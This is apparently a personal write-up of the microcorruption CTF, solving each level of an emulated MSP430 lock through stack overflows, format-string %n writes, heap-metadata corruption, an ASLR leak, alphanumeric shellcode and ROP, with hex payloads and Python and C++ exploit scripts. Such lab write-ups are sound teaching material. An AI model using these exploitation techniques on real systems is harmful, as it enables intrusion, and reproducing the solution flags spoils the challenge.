A while ago, Matasano and Square created a CTF called microcorruption which I really enjoyed. Since the CTF has no real deadline, I held off on publishing a writeup in order to avoid spoiling it for others. Now I feel like it's been long enough to allow people to share how they solved the challenges openly. If you haven't done the CTF yet, I would encourage you to stop reading and go do that now.
General Notes
Microcorruption is arranged in levels which are given city names (in the story, you are visiting each city and cracking locks). This writeup won't care about the story that much, we care about the cracking :)
The CTF is designed such that there is a "LockIT Pro Lock" emulator running in THE CLOUD, which you remotely send commands to debug and eventually "unlock". The emulator is essentially executing a slightly modified MSP430 instruction set. Some modifications were intentional, others are bugs..., it is left up to the player to discover the bugs, unfortunately. Reading the user manual for this device is very important in order to complete the levels.
Levels are unlocked sequentially for the most part, and each level focuses on exersizing a specific skill. While I do not know the exact scoring and ranking system, factors appear to include:
- time of unlock
- number of total cpu cycles from "boot" until unlock
- total size of inputs
I think the overall ranking is just based on completion time - the other factors are only used for determining ranking within a single level. I wasn't playing for ranking, so for some levels I took my time looking for decent optimizations (it's fun!), while others I rushed out of frustration.
Most levels are easy to complete with the built-in features on the website. Some other people did fancy things like make their own frontends, disassemblers, and symbolic execution engines. While that stuff is very cool and I'd love to read their writeups, I stuck to the website, IDA, and hacky python scripts.
This is the first time I've done a writeup of a CTF. Like microcorruption itself, it is meant to be easy to follow and gradually increase assumptions about the reader's skill level. I appreciate any feedback.
New Orleans
As the first actual level, this is expectedly easy.
4438 <main>
...
4448: mov sp, r15
444a: call #0x44b2 <get_password>
444e: mov sp, r15
4450: call #0x44bc <check_password>
4454: tst r15
4456: jnz #0x4462 <main+0x2a>
...
4462: mov #0x4520 "Access Granted!", r15
4466: call #0x4594 <puts>
446a: call #0x44d6 <unlock_door>
So, it looks like user input is read into the memory pointed to by r15(here, the stack). The same pointer is then used to check validity with check_password
, which should return nonzero if it's the correct password.
44bc <check_password>
...
44c2: cmp.b @r13, 0x2400(r14)
44c6: jne #0x44d2 <check_password+0x16>
...
44d2: clr r15
44d4: ret
A quick glance at check_password is all we need to know that it's equivalent to memcmp(r15, (void *)0x2400, 8) == 0
. Assuming you stopped the debugger while it's waiting for user input, you will notice the correct value is already at 0x2400. If you wanted to do it without running the debugger at all you can also find the password being stored into 0x2400 in create_password
from immediate values in mov.b
instructions. Note that the last byte is 0x00, so your input need only be 7 bytes since the memory is zero-initialized.
Flag
6a706c32614f2e
Sydney
I guess this level is just demonstrating the system's endianness. Given that your input is sequentially read into memory, it is then compared with immediate values directly instead of loading the comparison values from memory. Thus you discover cmp #0x386b, 0x0(r15)
requires (u8 *)r15[0] == 0x6b && (u8 *)r15[1] == 0x38
, for example. Therefor the machine is said to be dealing with 16bit little-endian words.
448a <check_password>
448a: cmp #0x386b, 0x0(r15)
4490: jnz $+0x1c
4492: cmp #0x473c, 0x2(r15)
4498: jnz $+0x14
449a: cmp #0x2c38, 0x4(r15)
44a0: jne #0x44ac <check_password+0x22>
44a2: mov #0x1, r14
44a4: cmp #0x2b71, 0x6(r15)
44aa: jeq #0x44ae <check_password+0x24>
44ac: clr r14
44ae: mov r14, r15
44b0: ret
Since the early-out paths result in zero being returned, we can guess that reaching the mov #0x1, r14
instruction is the goal.
Flag
6b383c47382c712b
Hanoi
This level introduces basic memory corruption vulnerabilities. The level makes sure you know the input must be between 8 and 16 characters to be considered valid.
4520 <login>
...
4534: mov #0x1c, r14
4538: mov #0x2400, r15
453c: call #0x45ce <getsn>
4540: mov #0x2400, r15
4544: call #0x4454 <test_password_valid>
4548: tst r15
454a: jz $+0x8
454c: mov.b #0x4f, &0x2410
4552: mov #0x44d3 "Testing if password is valid.", r15
4556: call #0x45de <puts>
455a: cmp.b #0x85, &0x2410
4560: jne #0x4570 <login+0x50>
4562: mov #0x44f1 "Access granted.", r15
4566: call #0x45de <puts>
456a: call #0x4448 <unlock_door>
456e: ret
4570: mov #0x4501 "That password is not correct.", r15
The obvious thing which stands out is that getsn
(which is just a wrapper for INT 0x2: gets(char *buf, uint len)
) is being called with len = 0x1c
, which can put us 12 bytes over the supposed input limitation. Here buf = 0x2400
, so we can overwrite 0x2410-0x241b even though this probably lies outside the buffer used for input. From the disasm, we see that unlock_door
will be called if *(u8 *)0x2410 == 0x85
. Interestingly, test_password_valid
(wrapper for INT 0x7d: hsm1(char *buf, u8 *flag)
) must return failure, otherwise 0x2410 will be overwritten with 0x4f. I guess this is just to guide the newbies away from attempting to bruteforce the password supposedly stored in the HSM-1?
Flag
626c6168626c6168626c6168626c616885
Cusco
Like Hanoi, this challenge calls getsn
with a too-large length value. This results in overwriting the stack with input data. However, it doesn't look like there are any important variables stored on the stack.
4500 <login>
4514: mov #0x30, r14
4518: mov sp, r15
451a: call #0x4596 <getsn>
451e: mov sp, r15
4520: call #0x4452 <test_password_valid>
4524: tst r15
4526: jz #0x4532 <login+0x32>
4528: call #0x4446 <unlock_door>
452c: mov #0x44d1 "Access granted.", r15
4530: jmp #0x4536 <login+0x36>
4532: mov #0x44e1 "That password is not correct.", r15
4536: call #0x45a6 <puts>
453a: add #0x10, sp
453e: ret
The easiest way to demonstrate how to abuse this is just to fill the input with 0x30 'A's and see what the debugger tells us:
insn address unaligned
> r pc 8
4141: 0000 0000 0000 0000 ........
Ok, somehow we ended up executing at 0x4141, which is probably taken directly from our input. How did this happen? If we debug through, you will notice pc is set to 0x4141 when returning from login. Another indicator is that the last log is "That password is not correct.", meaning the complete login routine was executed before dying.
Taking a look at the ever-handy MSP430x1xx User's Guide(pg.3-56), we see ret is verbosely described as:
@SP → PC
SP + 2 → SP
By breaking at login
's ret
and looking in the memview, it's easy to see how to exploit this:
> r sp 8
43fe: 4141 4141 4141 4141 AAAAAAAA
43e8: 0a00 0000 3a45 4141 ....:EAA
43f0: 4141 4141 4141 4141 AAAAAAAA
43f8: 4141 4141 4141 4141 AAAAAAAA
4400: 4141 4141 4141 4141 AAAAAAAA
Our input starts at 0x43ee, and the value at 0x43fe will be popped from the stack into pc
. Now we have arbitrary control of pc
, what can we do? For me, the most straightforward option was just to redirect to some pre-existing code in the binary which would unlock the door. unlock_door
fits this description perfectly. There are other ways to go about this, but they are somewhat less intuitive and will be exersized in later levels, anyways.
Flag
414141414141414141414141414141414644
Reykjavik
In this level, we see a rather concerning thing:
4438 <main>
4438: mov #0x4520, r14
443c: mov r14, r15
443e: mov #0xf8, r14
4442: mov #0x2400, r15
4446: call #0x4486 <enc>
444a: call #0x2400
The code itself appears to be obfuscated in some way. main
decodes a chunk of data to 0x2400 and starts executing it.
By breaking on 0x2400 we can look at all of the decoded data and plop it into your favorite disassembler. You will see a lot of call #0x2464
, which we can discern to be the INT function (calls __trap_interrupt
).
add #0x4, sp
push #0x1f
mov #0xffdc, r15
add r4, r15
push r15
push #0x2
call #0x2464 ; INT 2 (gets(r4 - 0x24, 0x1f))
add #0x6, sp
cmp #0x1306, -0x24(r4)
jnz $+0xc
push #0x7f
call #0x2464 ; INT 0x7f
Here it's easy to see the value which will cause INT 0x7f to be triggered.
Flag
0613
Whitehorse
This level should remind you of Cusco. The difference is that the HSM-2 is now being used, and there is no longer a code sequence in the original binary which will cause an unconditional unlocking of the door. Supposedly, you must rely on some "hardware magic" performed by the HSM-2 to verify the password and unlock the door as an atomic operation.
The solution is simple, but requires thinking of another exploit applicable to the stack buffer overflow situation. Last time we redirected execution to existing code. There is no good existing code...so what if we introduce our own? There are a few ways to accomplish this - I'll only cover the one I used.
This is a good time to revist what actually occurs when the C function INT(0x7f) was being called:
4532 <INT>
mov 0x2(sp), r14
...
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
Or in psuedo-C:
sr = 0x8000 | (arg0 << 8) | (arg0 >> 8)
__trap_interrupt()
Thus, INT(0x7f) is just sr = 0x8000 | (0x7f << 8) = 0xff00; pc = 0x10
, or in actual MSP430 assembly:
mov #0xff00, sr
br #0x0010
Assembling this, padding up to the return address, and placing our new return address gives us the flag.
Flag
324000ff3040100000000000000000006642
Johannesburg
452c <login>
452c: add #0xffee, sp
4530: mov.b #0xaa, 0x11(sp)
...
4546: mov #0x3f, r14
454a: mov #0x2400, r15
454e: call #0x45e8 <getsn>
4552: mov #0x2400, r14
4556: mov sp, r15
4558: call #0x4624 <strcpy>
455c: mov sp, r15
455e: call #0x4452 <test_password_valid>
4562: tst r15
4564: jz #0x4570 <login+0x44>
4566: call #0x4446 <unlock_door>
456a: mov #0x44d1 "Access granted.", r15
456e: jmp #0x4574 <login+0x48>
4570: mov #0x44e1 "That password is not correct.", r15
4574: call #0x45f8 <puts>
4578: cmp.b #0xaa, 0x11(sp)
457e: jeq #0x458c <login+0x60>
4580: mov #0x44ff "Invalid Password Length: password too long.", r15
4584: call #0x45f8 <puts>
4588: br #0x443c <__stop_progExec__>
458c: add #0x12, sp
4590: ret
This is another level focusing on overwriting the stack. You'll notice the password is again intended to be a maximum of 16bytes. However, getsn
is called with len = 0x3f
. This time, the input is read into a buffer at 0x2400, and then strcpy
is used to copy it to the stack. This effectively disallows us from including null bytes in our input, as they will just result in truncation of the input data during strcpy
. Additionally, there is a "stack cookie" byte at sp+0x11
which is how the password length is actually being verified. The idea is that if the value of the cookie changes during execution of the function, __stop_progExec__
is called, and program execution immediately halts as a security violation has been detected (Note: in this example, the cookie is static, and puts
is called before halting, which is not good practice).
These two mitigations are easily bypassed: just use a string not containing null bytes, which has 0xaa at +0x11. Then overwrite the return address to point to unlock_door
. Done.
Flag
4141414141414141414141414141414141aa4644
Montevideo
This challenge is very similar to Whitehorse (we can overwrite the return address, and need to execute our own input data), and Johannesburg (input is transferred via strcpy).
This means our assembled shellcode may not contain null bytes, which seems tricky at first. I wanted to have my shellcode be minimal so I wouldn't be annoyed by finding nicely-encoded instructions. To do this, I looked for a useful pre-existing chunk of code and found:
4554: swpb r15
4556: mov r15, sr
4558: bis #0x8000, sr
455c: call #0x10
This is great because we know br
is encoded as 3040 <absolute address>
, and as such will be OK. Now we just need to make r15
be useful before branching here. Since r15
is 0x0000 when the shellcode starts executing, a non-null-friendly way to do this is sub #0xff81, r15
, which gives us r15 = 0x7f
, encoded as 3f80 81ff
and resulting in a nice unconditional unlock.
Flag
3f8081ff304054454141414141414141ee43
Santa Cruz
This level is again using strcpy
to copy input onto buffers in the stack without checking the input buffer length. Ironically, this time the buffer lengths are being checked after copying them to the stack. However, as the variables against which they are compared are also stored on the stack (in a location reachable from overflowing the password), we can coerce the length checks to pass. Brilliant.
By breaking at the variable initialization and strcpy
calls, we can visualize the stack layout:
u8 username[] @ 43a2 (control up to 0x63 bytes)
s8 input_min @ 43b3 (initialized to 0x08)
s8 input_max @ 43b4 (initialized to 0x10)
u8 password[] @ 43b5 (control up to 0x63 bytes)
u16 ret_addr @ 43cc
Great, we can set input_min = 1
and input_max = 0x7f
(they're signed!), and continue on to overwrite the return address. I decided to reuse the same shellcode idea as Montevideo, which gives:
sub #0xff81, r15
br #0x46cc
Now we have a good idea about how to layout the username input, but we can't get away without bypassing another mitigation, it seems. This is because the program will always pass our username to INT(0x7d), which will fail. This takes us to the failure path at 0x4644, which will call __stop_progExec__
if *(u8 *)0x43c6 != 0x00
. Unfortunately this byte must be nonzero at this point as it is overwritten by our username data, which may not contain null bytes.
The workaround for this is to realize that strcpy
copies all bytes including the null byte from it's input:
4754 <strcpy>
...
475c: mov.b @r14, r12
475e: mov.b r12, 0x0(r13)
4762: tst.b r12
4764: jnz #0x4758 <strcpy+0x4>
Because of this behavior we only need a properly sized password, such that the trailing null byte will overwrite 0x43c6. Also, the memory which input is read into is zero-initialized.
Flag
username = 3f8081ff3040cc46414141414141414141017f4343434343434343434343434343434343ff5858585858a243
password = 4242424242424242424242424242424242
Addis Ababa
This level introduces format string vulnerabilities. The challenge follows the previous pattern of copying the original input buffer to the stack via strcpy
. The stack copy is then, for whatever reason, passed to printf
. I actually reversed the printf
implementation in IDA, however just looking at the LockIT Pro manual should be enough to see the intended direction for this level. The implementation supports very few format specifiers, and within those few is a weird one: %n
.
Ignoring the underlying behavior of printf
for now, let's look at the code and see what we are working with:
4472: call #0x44b0 <test_password_valid>
4476: mov r15, 0x0(sp) ; password_valid
447a: push r11
447c: call #0x45c8 <printf>
4480: incd sp
4482: mov #0xa, r15
4486: call #0x4550 <putchar>
448a: tst 0x0(sp) ; password_valid
448e: jz #0x4496 <main+0x5e>
4490: call #0x44da <unlock_door>
The above shows that we need to overwrite 0x0(sp), where sp = 0x3c36 during the printf
.
The printf
implementation included in the LockIT Pro handles only %s
, %x
, %c
, and %n
. Of these, %n
sticks out, as mentioned previously, because it is the only format specifier which writes to the given argument. An example usage of %n
might look like this:
// This is just an example to show %n usage,
// it is not the same code that's in the level
char c = 'a';
uint u = 0x1234;
uint num_written;
printf("%x %c\n%n", u, c, &num_written);
// now, num_written = 2 + 1 + 1 + 1 = 5
So, we know we need to include %n
in the format string and match it with 0x3c36 in the argument list, but only r11
(format string pointer) is being pushed on the stack for printf
...how do we control the args?
Looking at the stack at the time of the call, we can get an idea:
pc = 447c: call #0x45c8 <printf>
sp = 3c34
; memory around sp in memview
3c30: 0024 0000 383c 0000 4141 4141 4141 4141
^sp(@3c34)^--- fmt string (@3c38)
^--- password_valid (@3c36)
Aha! So we need to skip at least 2bytes, so that printf
will be looking at our controlled data when it goes to read the argument for %n
. We can do exactly this by adding a %x
to the format string. We end up with a template like: <num_written_ptr>%x%n
. Using that, the flag is simple.
Flag
363c2578256e
Jakarta
This level purports to ensure that total bytes of input is 0x20 or less. Let's check the code...
4560 <login>
...
457e: mov #0xff, r14
4582: mov #0x2402, r15
4586: call #0x46b8 <getsn> ; getsn(temp, 0xff)
...
4592: mov #0x2401, r15
4596: inc r15
4598: tst.b 0x0(r15)
459c: jnz #0x4596 <login+0x36>
459e: mov r15, r11
45a0: sub #0x2402, r11 ; r11 = strlen(temp)
45a4: mov #0x2402, r14
45a8: mov sp, r15
45aa: call #0x46f4 <strcpy> ; strcpy(username, temp)
45ae: cmp.b #0x21, r11 ; strlen must've been <= 0x20
45b2: jnc #0x45c0 <login+0x60>
...
45c0: mov #0x4516 "Please enter your password:", r15
45c4: call #0x46c8 <puts>
45c8: mov #0x1f, r14
45cc: sub r11, r14 ; r11 may be 0x20 here, so
45ce: and #0x1ff, r14 ; (0x1f - 0x20) & 0x1ff = 0x1ff
45d2: mov #0x2402, r15
45d6: call #0x46b8 <getsn> ; getsn(temp, 0x1ff) <-- buffer
; overflow via integer underflow
Exploiting the above integer underflow and buffer overflow allows overwriting a large part of the stack.
However, there is another length check, which checks the accumulated length:
45fe: add r11, r15 ; r15 = strlen(username) +
; strlen(password)
4600: cmp.b #0x21, r15 ; byte compare! (r15 & 0xff) > 0x20
In order to evade this check, we need to choose password such that ((strlen(password) + 0x20) & 0xff) <= 0x20
.
Completing the level just requires inserting the return address value and your choice of shellcode.
Flag
username = 3f8081ff30406c46 + 'A' * (0x20 - 8)
password = 42424242f23f + 'B' * (0xe0 - 6)
Novosibirsk
This level is very similar to Addis Ababa, however there isn't a simple password_valid
variable to overwrite this time (or at least not that I saw). Instead, it appears necessary to overwrite the return address of printf
while the format string is being processed. This turned out to be quite annoying as the only path I thought of required printing N
characters to the screen (where N
is the desired return address), and then using %n
to overwrite the existing return address. The input is still being strcpy
'd, so the stack copy will be truncated after the first null byte. strcpy
actually came in useful here - the original input buffer remains unmodified in the temporary location, and the truncated version is on the stack. By taking advantage of this, I was able to have two "views" of the same buffer - one containing arbitrary shellcode and the other only a C-string.
As seen below in the flag construction, my general approach to create a large N
value was to repeatedly print the same large string. The string is essentially printing itself (the copy in the temporary buffer), until N
is within the post-null-byte temporary buffer region, and then overwrites the return address with N
and begins normal shellcode execution.
This level could have definitely been completed in a few better ways, but I didn't want to spend too much time on it.
Flag
# <ptr_to_str*num_str><ptr_to_overwrite><%s*num_str><%n><null_pad><controlled_data>
import struct
# point to self (can't be 0x2400 - avoiding null bytes)
ptr_to_str = 0x2401
# will be overwritten with num printed
ptr_to_overwrite = 0x4208
# from testing, this makes r10=0x24f2, so
# we'll just be lazy and place shellcode entrypoint there
num_str = 0x30
output = struct.pack('<H', ptr_to_str) * num_str + struct.pack('<H', ptr_to_overwrite) + '%s' * num_str + '%n'
# <null_pad><shellcode>
shellcode = '324000ff30401000'.decode('hex') + '\0' * (0x24f2 - 0x24c6 - 8) + '3040c624'.decode('hex')
output += '\0\0' + shellcode
print output.encode('hex')
Algiers
This level introduces the concept of exploitation by overwriting heap metadata. This level was kind of cool since it takes username and password as input, and I solved it without a password.
As hinted above, this is the first level which uses the heap. Specifically, there is dynamically allocated memory being used to store our input. The buffers are allocated and deallocated with malloc
and free
, respectively.
The first thing I did was just triggering a crash with a patterned input buffer, and then started working backwards.
username = 5555575559555b555d555f55615563556555
password = None
This results in a load address unaligned: 5569
error, and the cpu halts with pc = 4520
. Let's see what happened:
4508 <free>
...
450a: add #0xfffa, r15
450e: mov 0x4(r15), r13
4512: and #0xfffe, r13
4516: mov r13, 0x4(r15)
451a: mov @r15, r14 ; r14 = 5565
451c: mov 0x4(r14), r12 ; die
> r sp 8
4392: 2424 a846 0000 0000
^- return address
46a2: mov r11, r15
46a4: call #0x4508 <free>
46a8: mov r10, r15
The crash is occurring on the first call to free
, which is freeing the password buffer. However, looking closer at the heap layout reveals that the contents of the password buffer don't matter; it is the allocation and deallocation order which matters.
Let's take a step back and look at what free
is doing:
// This is just for a general idea of what's
// going on...I do not guarantee it's correct
struct alloc_hdr_t {
u16 prev;
u16 next;
// size w/"in use" flag as the lsb
u16 flags;
};
void free(void *buf) {
alloc_hdr_t *hdr = (alloc_hdr_t *)((char *)buf - sizeof(alloc_hdr_t));
flags = hdr->flags;
hdr->flags = flags & ~1;
alloc_hdr_t *prev = hdr->prev;
if ((prev->flags & 1) == 0) {
prev->flags += 6;
prev->flags += flags;
prev->next = hdr->next;
hdr->next->prev = prev;
hdr = prev;
}
alloc_hdr_t *next = hdr->next;
if ((next->flags & 1) == 0) {
hdr->flags += next->flags;
hdr->flags += 6;
hdr->next = next->next;
next->prev = hdr;
}
}
Looking at the entire level, there are a few issues:
malloc
is called withsize = 0x10
bytesgetsn
is called withsize = 0x30
bytesmalloc
internally stores size ashdr.flags = (size << 1) | used_flag
- buffer is still
size
bytes
free
considers the size to just besize = hdr.flags & ~used_flag_mask
This creates an environment where a 0x10 byte buffer is malloc
'd, written with up to 0x30 bytes, and free
'd as if it is 0x20 bytes. So, there is a lot of corruption to choose from.
At the point of entering the username, the heap looks like:
<4 word heap header>
<0x10 byte 'username' allocation:
<3 word allocation header @2408
<prev=2408, next=241e, flags=0021>
>
<0x10 byte user buffer>
>
<0x10 byte 'password' allocation:
<3 word allocation header @241e
<prev=2408, next=2434, flags=0021>
>
<0x10 byte user buffer>
>
<heap footer>
Since free is called on the password buffer first and we can overwrite the allocation header by overflowing the username heap buffer, we can gain control in the first free call. This is the same thing we found out just by feeding the program bogus input :)
My approach was to overwrite the password allocation header such that free will overwrite the return address with a pointer to my shellcode. Then I constructed a fake allocation header in the username buffer which is already marked as being free. This stops free from further corrupting the return address by processesing other allocations.
import struct
ptr_to_retaddr = 0x4394
original_retaddr = 0x46A8
new_retaddr = 0x2414
shellcode = '324000ff30401000'.decode('hex')
# construct a fake allocation header - marked as 'unused'
output = struct.pack('<H', 0xabab)
output += struct.pack('<H', 0x0001)
output += struct.pack('<H', 0x0000)
output += shellcode
output += 'A' * (8*2 - len(output))
# overwrite the password allocation header
output += struct.pack('<H', ptr_to_retaddr - 4)
output += struct.pack('<H', 0x240e - 2)
output += struct.pack('<H', (new_retaddr - 6 - original_retaddr) & 0xffff)
print output.encode('hex')
Flag
username = abab01000000324000ff30401000414190430c2466dd
password = None
Vladivostok
This level introduces ASLR. Normally defeating ASLR requires an information leak - a way to determine how the program has been relocated. So we'll keep on the lookout for something like that.
Since self-modifying code makes the web debugger mostly useless, let's dump it into IDA and take a look.
At 0x4438, a new interrupt is called in order to randomize code and stack locations: INT(0x20), rand
. The code is copied to the new location, sp
is set, and finally the relocated aslr_main
function is called. aslr_main
is just a wrapper for _aslr_main
, seen below:
ROM:4482 _aslr_main: ; DATA XREF: aslr_main+2
ROM:4482
ROM:4482 printf= -0Ah
ROM:4482
ROM:4482 push.w R11
ROM:4484 push.w R10
ROM:4486 sub.w #8, SP
ROM:4488 mov.w R15, R12 ; code_base
ROM:448A add.w #(printf - __init_stack), R12
; can derive code_base from this stack val
ROM:448E mov.w R12, 0Ch+printf(SP)
OK, so it is calculating the address of the printf
function after relocation and saving it on the stack. Note: the stack variable is not used afterwards, so the save to stack must've just been done to make it easier on players. In any case, this means if we can leak the adjusted value from the stack, we can know where the program has been relocated to. In order to leak it, let's see how our input is used:
; static location for the input buffer
ROM:2426 username .space 0Ch
...
; here is the beautifully inlined
; and ASLR-compliant INT(2)
ROM:45BC mov.w #username, R11
ROM:45C0 mov.w #2, R13
ROM:45C2 push.w R10 ; arg1 len
ROM:45C4 push.w R11 ; arg0 username
ROM:45C6 push.w R13
ROM:45C8 push.w PC
ROM:45CA push.w SR
ROM:45CC mov.w R13, R15
ROM:45CE swpb R15
ROM:45D0 mov.w R15, SR
ROM:45D2 bis.w #8000h, SR
ROM:45D6 call #CALLGATE ; gets
ROM:45DA pop SR
ROM:45DC add.w #8, SP
ROM:45DE mov.b R14, &username+8 ; null byte
ROM:45E2 push.w R11 ; fmt
ROM:45E4 call R12 ; printf
The above shows how the username input is used - it is passed directly to printf
. The good news is that the saved pointer to the relocated printf
is on the stack and accessible from our format string:
pc = cc5a (randomly relocated printf)
> r sp 8
b976: d6ca 2624 0000 5acc ..&$..Z.
^ ^fmt ^printf pointer in
ret_addr _aslr_main's stack frame
This can easily be dumped to the "I/O Console" with password = %y%x
. This just abuses the fact that an unrecognized specifier skips a word without printing anything.
In order to unlock the door, I chose to return to _INT
with the 0x7f argument on the stack.
Flag
import struct
username = '%y%x'
#printf_addr = val printed out as username
# _INT - printf = 0x182
password = ('AA'*4+struct.pack('<H', 0x182 + printf_addr)+'BB'+'\x7f\x00').encode('hex')
Lagos
The main attraction in Lagos is getting around a limitation on input values - the entire input will be ignored starting at the first non-alphanumeric (ASCII) character. All characters before the first non-alphanumeric will be copied to the stack from a temporary buffer. The temporary buffer may be up to 0x200 bytes, which should be plenty to overwrite the return address. However, I noticed an interesting thing:
; 45A4 stores a valid character to the stack
reset; b 45A4; c
sp = 43ec
Like any other level, the code starts at 0x4400. Given that we have control of 0x200 bytes from 0x43ec, we can actually overwrite conditional_unlock_door
, bypassing the need to mess with the return address of login
.
The remaining part of the challenge is the actual alphanumeric shellcode creation. I spent a long time attempting to discover valid instruction sequences based off of MSP430 instruction manuals, but was unsuccessful. Finally I was going to just bruteforce all possible instructions, but rmmh beat me to it. Using this list, I constructed an alternate method of executing sr = 0xff00; pc = 0x10
. This was accomplished by first looking at the machine state at the time of control transfer to the overwritten conditional_unlock_door
:
pc 4446 sp 43ea sr 0003 cg 0000
r04 0000 r05 5a08 r06 0000 r07 0000
r08 0000 r09 0000 r10 0000 r11 009f
r12 2600 r13 0000 r14 0000 r15 43ec
(OK, I'm being lazy here and just showing the flag :>)
> r sp
43ea: e045 0041 417a 4342 .E.AAzCB
43f2: 4342 7a7a 4343 4343 CBzzCCCC
43fa: 4343 4343 4343 4343 CCCCCCCC
4402: 4343 4343 4343 4343 CCCCCCCC
> r pc
4446: 3851 3941 3941 3970 8Q9A9A9p
444e: 4d34 3852 3251 3251 M48R2Q2Q
4456: 3251 3049 0f12 3012 2Q0I..0.
445e: 7e00 b012 fc45 5f44 ~....E_D
Note that sp
is pointing to 0x45e0: the return address within login
. After the return address, there is a zero byte and then our input data. This machine state can easily be used to pop values from the stack (containing our controlled data), and operate on them with the instructions we overwrote at 0x4446. The code I came up with can be seen above, but here it is in nicer form:
; Note the stack contents as seen above
; skip retaddr
38 51 add @SP+,R8 ; also clears flags
; skip zero'd word
39 41 mov @SP+,R9
; setup register to point to 0010
; exists at 45f4, 460e
39 41 mov @SP+,R9 ; load 344d
39 70 4d 34 subc #0x344d,R9 ; 7A41 - 344D = 45f4
; nop/clear flags
38 52 add 8,R8
; add to sr repeatedly
; result in sr must never have CPUOFF bit set!
32 51 add @SP+,SR ; + 4243 = 4243
32 51 add @SP+,SR ; + 4243 = 8486
32 51 add @SP+,SR ; + 7a7a = ff00
; CANNOT MODIFY FLAGS AFTER HERE
; pc = *rX
30 49 mov @R9+,PC
Flag
'A'+'\x41\x7a'+'\x43\x42'*2+'\x7a\x7a'+'C'*40*2+'8Q'+'9A'*2+'\x39\x70\x4d\x34'+'\x38\x52'+'2Q'*3+'\x30\x49'
Bangalore
This level focuses on defeating DEP. Since the vulnerability is another simple stack buffer overflow, we can easily rewrite the return address and execute a pre-existing chunk of code (which was marked executable in set_up_protection
) in order to mark the stack executable (which was marked writeable in set_up_protection
).
My so-called ROP gadget was:
; gadget to call INT(0x11) (args on stack)
44A2 sub.w #6, SP
44A6 mov.w #9100h, SR
44AA call #__trap_interrupt
44AE add.w #0Ah, SP
44B2 ret
In order to use this gadget, the stack must be setup properly such that the interrupt sees arguments as INT_11(0x003f, 0x0000)
. After execution, the stack will have been marked executable so we can provide a return address pointing back into the stack. I've just reused old shellcode here.
To help visualize the use of the rop gadget, this is what the stack looks like:
... ; shellcode and padding
44a2 ; gadget address
003f ; page = 0x3f
0000 ; mode = executable
3fee ; shellcode address
Flag
324000ff304010004141414141414141a2443f000000ee3f
Chernobyl
This level is the harder cousin of Algiers. It is probably large enough to have it's own blog entry.
This entry is still being written
Update much later: I probably will never get around to finishing this part of the writeup...sorry!
Flag
import struct
from ctypes import *
from collections import *
from string import digits, ascii_uppercase, ascii_lowercase
from itertools import product
chars = digits + ascii_uppercase + ascii_lowercase
num_buckets = 1 << 3
bucket_mask = num_buckets - 1
def iterstrings(prefix = ''):
for n in range(1, 15):
for comb in product(chars, repeat = n):
yield prefix + ''.join(comb)
def hash(s):
acc = c_int16(0)
for c in s:
val = c_int16(c_int8(ord(c)).value)
if val.value == 0: break
x = c_int16(acc.value + val.value)
acc.value = x.value
acc.value <<= 5
acc.value -= x.value
return acc.value & 0xffff
def get_fillers(bucket_idx, qty):
vals = []
for i in iterstrings():
if hash(i) & bucket_mask == bucket_idx:
vals.append(i)
if len(vals) == qty:
break
return vals
def make_collision(prefix, bucket_idx):
for i in iterstrings(prefix):
if hash(i) & bucket_mask == bucket_idx:
return i
def get_cmdstr(vals):
cmds = []
for val in vals:
cmds.append('new ' + val + ' 1;')
return ''.join(cmds)
bucket_to_fill = 0 # 503c
names = get_fillers(bucket_to_fill, 10)
# overwrite prev, next of header @ 6th element. must be marked used, size can be whatever
fake_free_block_ptr = 0x50a2
ptr_to_retaddr = 0x3dce
original_retaddr = 0x49a2 # from rehash 486a from add_to_table
new_retaddr = 0x3e60 # on stack of run()
fake_prev_block_ptr = 0x508a
fake_prev_block = struct.pack('<3H', ptr_to_retaddr - 4, 0x0101, 0xffff & ~1)
names.insert(4, make_collision(fake_prev_block, bucket_to_fill))
h1 = struct.pack('<3H', ptr_to_retaddr - 4, fake_free_block_ptr, (new_retaddr - 6 - original_retaddr) & 0xffff | 1)
fake_free_block = struct.pack('<3H', fake_prev_block_ptr, 0x503c + (bucket_to_fill + 3) * 0x60, 0xffff & ~1)
names.insert(5, make_collision(h1 + fake_free_block, bucket_to_fill))
shellcode = '324000ff30401000'.decode('hex')
cmdstr = get_cmdstr(names) + shellcode
print cmdstr
print cmdstr.encode('hex')
Hollywood
This level a more typical CTF challenge. It is probably large enough to have it's own blog entry.
This entry is still being written
Update much later: I probably will never get around to finishing this part of the writeup...sorry!
https://gist.github.com/shuffle2/59b03053e259144d6ae4
#include <cstdio>
#include <vector>
#include <cstdint>
#include <array>
#include <thread>
#include <chrono>
#include <mutex>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef std::array<u16, 3 + 1> array_t;
static std::mutex g_log_mutex;
u32 hash(array_t const x) {
u16 r4 = 0, r6 = 0;
int pos = 0;
for (;;) {
r4 += x[pos];
r4 = _byteswap_ushort(r4);
r6 ^= x[pos++];
std::swap(r4, r6);
if (x[pos] == 0)
break;
}
return (r4 << 16) | r6;
}
struct Acc {
array_t acc;
Acc() : acc({ { 0 } }) {
}
void advance() {
for (int i = 0; i < acc.size() - 1; ++i) {
if (++acc[i] != 0) {
break;
}
}
/*
bool seenNonZero = false;
for (int i = acc.size() - 1; i >= 0; --i) {
if (!seenNonZero) {
seenNonZero = acc[i] != 0;
} else if (acc[i] == 0) {
acc[i] = 1;
}
}
//*/
}
void print() {
for (int i = 0; i < acc.size() - 1; ++i) {
printf("%0*x", sizeof(acc[i]) * 2, _byteswap_ushort(acc[i]));
}
putchar('\n');
}
};
void HashThread(array_t::value_type const thread_id) {
Acc acc;
u64 count = 0;
u64 const interval = 0x1000000000000ull / 7;
u64 const initial = interval * thread_id;
for (int i = 2; i >= 0; --i) {
acc.acc[i] = (initial >> (i * 16)) & 0xffff;
}
while (count++ < interval) {
acc.advance();
/*
if (++count == 0) {
count = 1;
printf("%i:", thread_id);
acc.print();
}
//*/
u32 x = hash(acc.acc);
if (x == 0xfeb19298ul) {
std::lock_guard<std::mutex> lock(g_log_mutex);
printf("%i:", thread_id);
acc.print();
}
}
printf("%i:done\n", thread_id);
}
int main() {
std::vector<std::thread> threads;
for (int i = 0; i < 7; ++i) {
threads.emplace_back(std::thread(HashThread, i));
}
for (auto &thread : threads) {
if (thread.joinable()) {
thread.join();
}
}
printf("covered all space\n");
return 0;
}
Flag
4d4db1da96